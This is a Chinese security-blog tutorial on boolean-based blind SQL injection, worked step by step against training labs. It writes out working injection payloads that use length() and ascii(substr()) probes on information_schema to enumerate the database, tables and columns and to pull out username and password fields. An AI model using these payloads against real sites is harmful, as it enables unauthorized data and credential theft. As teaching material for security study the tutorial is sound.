freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SQL注入-布尔盲注详解
2023-03-27 11:59:55
所属地 上海

布尔盲注定义

当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,页面呈现出两种状态,正常或者不正常。根据这两种状态可以判断我们输入的语句是否查询成功。不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注。

以sqli-labs-masterless-8关为例

当我们输入id=1时,页面正常显示you are in....

1678635894_640df376d60aba8bd88e5.png!small

当我们输入id=1'或者id=-1时,页面什么都不显示

1678635905_640df38110cdf581009d8.png!small

使用布尔盲注时,如果直接采用猜测的方式的话,时间成本大还很难,为了降低时间成本和难度,我们可以判断数据库名、表名、字段名、字段内容的长度,然后一位一位去测试

适用环境

页面成功和失败这两种情况时,可以使用布尔盲注。

盲注步骤

布尔盲注使用时分为两个大的步骤:

  1. 使用 length()函数 判断查询结果的长度
  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

1678635937_640df3a19ef2391c803c7.png!small

以墨者靶场举例:

打开页面如下所示:

1678635956_640df3b493537ba08c681.png!small

判断是否存在注入:

在id参数后任意加上字符串,

1678635969_640df3c103f6bbe2bf444.png!small

使用 and 1=1正常

and 1=2报错

1678635980_640df3cc1ba2e16bf2461.png!small

使用order by判断字段数

order by 5报错

order by 4正常

1678635989_640df3d5d9ac9963843f3.png!small

判断存在注入的前提下,不能使用union 联合查询注入和报错注入的情况下:使用union select无回显,猜测为布尔盲注:

1678636000_640df3e0d01e6131f4c33.png!small

布尔盲注流程

1、判断数据库类型:

1)mysql数据库表:information_schema.tables

2) access数据库表:msysobjects

3) sql server 数据库表:msysobjects

使用语句:and exists(select * from information_schema.tables)--

1678636012_640df3ec2f0d9665729e0.png!small

msysobject报错,判断为mysql数据库

2、判断数据库名

2.1 使用length()函数判断数据库名长度

id=1 and length(database())>10-- 判断数据库的长度是不是大于10

1678636043_640df40b6eccb2eb795f4.png!small

1678636056_640df4182b83be6b7bbba.png!small

判断数据库的长度为10.

2.2、使用ascii判断数据库名

1678636064_640df42002dcaa2079fae.png!small

根据不同的数据库,需要获取字符的函数也不同

mysql:substr(str,pos,len),substring(str,pos,len);

oracle:substr(str,pos,len);

sql server:substring(str,pos,len);

pos=1时,表示字符串str的第一个字符

判断第一个字符:

id=1 and ascii(substr(database(),1,1))>100--

解释:substr(database(),1,1)表示截取database()数据库的第一个字符,且每次只截取一个字符长度

1678636084_640df434649682d5d90e2.png!small


1678636099_640df443ddaa65e4f8e2b.png!small

后续不继续一个一个猜解,使用burp suit进行遍历:

1678636114_640df45287cca9f7c301b.png!small

1678636123_640df45bd04fcd9870ef8.png!small

由上可知:数据库为:stormgroup

3、判断数据库下的表名

先判断当前数据库中表的个数,在判断每个表的表名

使用语句

措施示范:and (select count(table_name) from information_schema.tables where tables_schema='stormgroup')=2--

1678636145_640df471de5537b7a9865.png!small

and (select count(table_name) from information_schema.tables where table_schema=database())=2--

1678636156_640df47c4de0f4aa31a01.png!small

3.1 判断数据库下表的长度

3.1.1 的第一个表的长度

id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--

1678636174_640df48e0f4ae7e0c082d.png!small

3.1.2 判断数据库下的第二个表的长度

1678636182_640df4966e0bd0f74653b.png!small

3.2 使用ascii判断表名

3.2.1 判断数据库下的第一个表的表名

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110--

1678636193_640df4a1846501f4e40e9.png!small

的到第一个表名时member

3.2.2 判断数据库下的第二个表的表名

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=110--

1678636207_640df4afb1ce2363c2164.png!small

1678636216_640df4b826909632be340.png!small

得到第二个表名为notice

综上所述:得到数据库:stormgroup 第一个表名:member 第二个表名:notice

4、判断数据库下的列

4.1 判断列的字段数

select count(column_name) from information_schema.columns where table_name='member' and table_schema='stormgroup')=3--

1678636227_640df4c3a7ba8e92fe57a.png!small

4.2 判断字段数的长度

4.2.1 判断第一个字段的长度:

length((select column_name from information_schmea.columns where table_name='member' limit 0,1))>10--

1678636235_640df4cb74aa980aae13b.png!small

4.2.2 判断第二个字段的长度:

and length((select column_name from information_schema.columns where table_name='member' limit 1,1))=8--

1678636242_640df4d2aaca078d8e992.png!small

4.2.3 判断第三个字段的长度:

and length((select column_name from information_schema.columns where table_name='member' limit 2,1))=6--

1678636250_640df4da6fa18c2eabd20.png!small

4.3 判断列的值

4.3.1 判断第一个列的值

and ascii(substr((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1))=110--

1678636259_640df4e33fe0daebb154f.png!small



1678636267_640df4eb87d1bea96fba1.png!small

得到第一个列名:name

4.3.2 判断第二个列的值

and ascii(substr((select column_name from information_schema.columns where table_name='member' limit 1,1),1,1))=112--

1678636276_640df4f46bb036bd8d005.png!small


1678636284_640df4fcd4070b65e563c.png!small

得到第二个列名为:password

4.3.4 判断第三个列的值:

and ascii(substr((select column_name from information_schema.columns where table_name='member' limit 2,1),1,1))=112--

1678636295_640df507b9c52f0141a24.png!small


1678636303_640df50feb640844007d6.png!small

得到列名:status

综上所示:得到字段为name、password、status

5、判断字段的值

5.1判断字段值的长度:

5.1.1 判断第一个字段的长度:

length((select name from member limit 0,1))>5--

1678636312_640df51827b789cc9bf8b.png!small


5.1.2 判断第二个字段的长度:

length((select password from member limit 0,1))>5--

1678636322_640df52245eafbf53cd52.png!small

5.2 判断字段的值

5.2.1 判断第一个字段(name)的值

ascii(substr((select name from member limit 0,1),1,1))>110--


1678636336_640df5305466efc89f18d.png!small

1678636348_640df53c94aa3ab875ad5.png!small

得到值为:mozhe

5.2.2 判断第二个字段(password)的值

1678636358_640df546a568a40fc8b9e.png!small


# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录